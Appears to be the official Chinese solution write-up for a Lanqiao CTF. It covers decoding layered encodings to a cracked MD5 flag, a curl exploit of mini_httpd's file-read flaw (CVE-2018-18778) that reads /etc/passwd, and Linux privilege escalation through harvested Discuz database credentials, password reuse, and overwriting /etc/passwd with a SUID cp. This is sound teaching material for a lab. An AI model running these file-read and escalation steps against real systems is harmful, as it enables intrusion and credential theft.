超详细|第 25 期楼赛 —— 黑客攻防挑战赛官方题解

蓝桥云课第 25 期楼赛以信息安全为主题,于 1 月 19 日(上周二) 20:00 开赛,一共 3 道题目:

  1. 渗透测试中的加密解密(签到题)

  2. 渗透前期的边界突破技巧(简单)

  3. 后渗透阶段的提权技巧(中等)

下面是比赛的答案解析,没做过的同学一定要先尝试一下,再来看题解~

楼赛地址: https://www.lanqiao.cn/contests/lou25/challenges/

第一题 渗透测试中的加密解密(签到题)

%4f%44%4d%30%4e%54%64%6a%4e%6a%6b%7a%5a%44%4d%7a%59%54%49%79%5a%6a%45%77%59%6d%4e%6b%4f%57%59%79%59%54%6b%30%5a%44%41%7a%4f%44%63%3d

&#x 开头是典型的 HTML实体编码,使用 HTMLDecode 解码后结果如下:

%4f%44%4d%30%4e%54%64%6a%4e%6a%6b%7a%5a%44%4d%7a%59%54%49%79%5a%6a%45%77%59%6d%4e%6b%4f%57%59%79%59%54%6b%30%5a%44%41%7a%4f%44%63%3d

%XX是典型的 URL编码,客户端浏览器在发送数据包时,通常会对英文字母以外的内容(例如汉字、特殊符号)进行 URL 编码,在做 Web 类型的安全测试时,应该会经常看到。

注意:不同浏览器的 URL 编码策略是不同的。

使用 URLdecode 后得到:

ODM0NTdjNjkzZDMzYTIyZjEwYmNkOWYyYTk0ZDAzODc=

Base64编码会将3个字节转换为4个ASCII字符,'='字符用于填充结果,以便总是有4个编码字符的倍数。所以看到结尾是=的字符串,有较大概率是 base64 编码。

注意:并非所有的 base64 编码后的字符串结尾都有=,从原理可知,仅当长度不为 4 的倍数时,才需要=来填充。

使用 Base64 Decode 后得到:

83457c693d33a22f10bcd9f2a94d0387

最后一步是使用 Hash 解密,可以使用 SOMD5 站点进行解密:

  • https://www.somd5.com/

更多可用来解密的网站,可以查询:

https://github.com/iSecurity-Club/Pentest-Methodologies#hash-%E5%9C%A8%E7%BA%BF%E8%A7%A3%E5%AF%86

使用 CMD5 解密之后得到:

youarewelcome

答案是:

lanqiao-flag{youarewelcome}

第二题 渗透前期的边界突破技巧(简单)

配置好实验环境之后,查看/etc/flag.txt文件内容:

结果提示「权限不够」,查看 /etc/flag.txt 文件的权限信息:

原来只有 flag.txt 文件的所有者 www-data 用户才有阅读权限。

尝试使用 sudo 命令以 www-data 用户的身份查看:

但提示需要 shiyanlou 用户的密码才行,我们并没有。

所以我们这时候需要思考一下:www-data 用户的作用是什么?

www-data 用户实际上是 Web 服务的用户,例如 Linux 服务器通常会以 www-data 用户的身份来运行 apache 服务,所以我们自然想到要从 Web 服务入手。

使用 Nmap 或 ps 命令可查询到 8080 端口开放,尝试访问:

http://127.0.0.1:8080

发现运行的是:mini_httpd 服务,版本为 1.19 。

通过 Google 发现,该版本存在「本地文件包含」漏洞(CVE-2018-18778):

参考公网上的信息,进行漏洞利用,漏洞原理是将 Host:头部置空即可。

此处你可以选择多种方法进行漏洞利用工具,例如 BurpSuite、Firefox 插件等等,我们选择最简单的 Curl 工具,命令如下:

curl http://127.0.0.1:8080/etc/passwd -H 'Host: '

可以看到成功读取到/etc/passwd文件内容。

再尝试读取/etc/flag.txt

curl http://127.0.0.1:8080/etc/flag.txt -H 'Host: '

flag 为(注意 flag 是随机的):

lanqiao-flag{FMqI1xIj2n69NTcNNzXf7wg6lWd949xFNsvmeLYH2emg}

第三题 后渗透阶段的提权技巧(中等)

尝试 SUID 提权,使用如下命令搜索主机上存在 SUID 权限的二进制文件:

find / -perm -u=s -type f 2>/dev/null

经过与以下站点对比,发现 cp命令可以用来 SUID 提权:

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary

查看/var/local/backup/cp详情,发现只有 yann 用户组才能执行该文件:

通过查看/etc/group/etc/passwd发现 yann 组下有一个用户————yann

看来需要先想办法获取 yann 用户的权限。

进入 alice 用户的主目录,发现存在.bash_history文件,该文件存储了用户执行过的历史命令:

查看.bash_history文件内容,发现存在 /var/www/Discuz 目录,说明主机上安装了 Discuz:

根据经验,Discuz 配置文件中可能存放有数据库的登录凭证。

查看/var/www/Discuz/config/config_global.php,果然发现了 mysql 的登录凭证:

cat /var/www/Discuz/config/config_global.php

使用以上凭证登录 mysql:

mysql -uroot -pdhIopyWhGVZO -h 127.0.0.1

登录成功,发现数据库 ManagerInfo,通过查询数据表得到以下信息:

「密码复用」在内网中是非常常见的一个风险,在同一台主机上也经常出现密码复用的情况。

尝试使用HCRNPNdvCsWd8JGZaqZX登录 yann

成功以 yann 用户身份登录,接下来就有了使用/var/local/backup/cp的权限,可以直接将 /root/flag.txt 复制到/tmp/proof.txt

./cp /root/flag.txt /tmp/proof.txt

成功获取到 flag.txt。

如果你想更进一步,也可以使用 cp 命令来获取 root 权限。

先创建一个/tmp/passwd 文件:

cat /etc/passwd > /tmp/passwd

修改 /tmp/passwd 文件,将用户 yann 所在行的 uid和 gid 全部修改为 0:

保存退出后,接下来使用/var/local/backup/cp的 SUID 权限覆盖/etc/passwd 文件:

/var/local/backup/cp /tmp/passwd /etc/passwd

重新使用 su 命令登录为 yann 用户:

成功得到 root 权限, flag.txt 文件自然也可以轻松获得。

第三题考点为课程《渗透测试方法论:Linux 提权实战》中的:

  • 第三章 passwd 文件提权

  • 第五章 SUID 提权

  • 第九章 查找敏感文件提权


蓝桥云课第一次举办信息安全类的竞赛,虽然遇到了一些坎坷,但我们也在努力解决,希望与大家一起进步。

再次感谢所有的参赛者,感谢。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值